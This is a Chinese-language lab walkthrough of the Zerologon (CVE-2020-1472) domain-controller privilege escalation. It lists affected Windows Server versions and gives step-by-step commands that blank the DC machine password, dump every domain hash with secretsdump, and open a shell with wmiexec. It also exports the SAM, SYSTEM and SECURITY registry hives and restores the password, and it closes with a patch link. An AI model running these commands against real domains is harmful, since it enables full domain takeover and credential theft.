壹 漏洞概念
CVE-2020-1472 是⼀个Windows域控中严重的远程权限提升漏洞,该漏洞也称为“Zerologon”,CVSS评分为10.0,号称3秒撸穿域控,危害严重。
贰 漏洞原理及利用条件
CVE-2020-1472 是⼀个Windows域控中严重的远程权限提升漏洞,攻击者通过 NetLogon(MS-NRPC)协议与AD域控建立安全通道时,可利⽤此漏洞将域控中保存在AD中的管理员password设置为空,获取域管访问权限;其漏洞原理是发⽣在 RPC 认证过程的过程中,由于错误的使⽤了 AES-CFB8 加密所导致漏洞成因。
注意:在实战环境中,由于会把域控机器的账户和密码清空,所以有可能会导致域内出问题,可能导致某些服务⽆法正常运⾏,严重会造成脱域等情况,请谨慎利⽤。
叁 适用版本
该漏洞适⽤于 Win2008 后的所有版本。
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)
肆 复现环境说明
域控:windows server 2019 Essentials(10.0.10.110)
,开启防火墙
域控:windows server 2016 Datacenter(10.0.10.111)
域名:vulntarget.com
利用场景:获取了一个加入了域的计算机权限,在域普通账号的情况下,将域管密码置空,导出域管hash,然后进行连接。
伍 复现
5.1 CVE-2020-1472复现
# 使用下面命令获取域控
net group "domain controllers" /domain
使用zerologon_tester.py
检测是否存在漏洞(这个漏洞最好先检测一下,因为直接使用EXP会导致域管置空)
python zerologon_tester.py 域控主机名 域控ip
这里用的是内网环境,所以加了proxychains4
进行代理,最后输出:
返回 Success,说明漏洞很可能存在!
接着使用工具cve-2020-1472-exploit.py
,置空DC密码:
python3 cve-2020-1472-exploit.py 域控主机名 域控ip
最后使用secretsdum.py
(该攻击在impacket-master/examples/
下)导出域内所有用户的凭证,因为置空了密码,所以这里无需密码就能导出hash:
# 需要注意这里格式是域名/域控主机名\$@域控ip
# 需要将impacket-master的所有的库下载,否则可能报错
python3 secretsdump.py 域名/域控主机名\$@域控ip -no-pass
最最后使用smbexec.py
(该攻击在impacket-master/examples/
下),获得域控终端:
python3 wmiexec.py -hashes hash值 域控用户名@域控ip
# 当然也可以用smbexec.py、psexec.py
5.2 恢复域控原始hash
导出 sam system
等⽂件到本地,获取域控机器上本地保存之前的 hash
值⽤于恢复,不然就脱域了:
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
然后将这三个文件下载下来(假设已经下载下来了),删除文件:
del /f system.save
del /f sam.save
del /f security.save
之后通过sam.save
、security.save
、system.save
这些⽂件获得原来域控机器上的Ntlm Hash
值,⽤于恢复密码,在kali上运行secretsdump.py
脚本(该攻击在impacket-master/examples/
下):
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
我们获得了$MACHINE.ACC:
的值,然后使用reinstall_original_pw.py
进⾏恢复:
# 需要注意这里最后的参数要的是$MACHINE.ACC后半部分的值
# 例如例子中的$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:927882c9c7f9a92e8aa7d385ec0f2023
# 取927882c9c7f9a92e8aa7d385ec0f2023这一段
python3 reinstall_original_pw.py 域控机器名 域控ip $MACHINE.ACC后半部分的值
注意:这里域控机器名不能加$,显示了success也不一定成功,需要用脚本验证一下!
在使用开始的secretsdum.py
导出域内所有用户的凭证,可见使用空密码去获取域内的所有用户的凭证已经不行了:
python3 secretsdump.py 域名/域控主机名\$@域控ip -no-pass
注意:别在实战中重置了域控的密码为空,结果不会还原导致目标脱域了,就BBQ了!!!!
陆 利用Poc|Exp以及工具
CVE-2020-1472域控提权.zip
impacket网络协议工具包impacket.zip
reinstall_original_pw.py
柒 危害
CVSS评分为10.0,号称3秒撸穿域控,危害严重。
捌 修复建议
建议点击以下链接自行寻找符合操作系统版本的漏洞补丁,并进行补丁下载安装。
https://portal.msrc.microsoft.com/zh-CN/security-guidance/advisory/CVE-2020-1472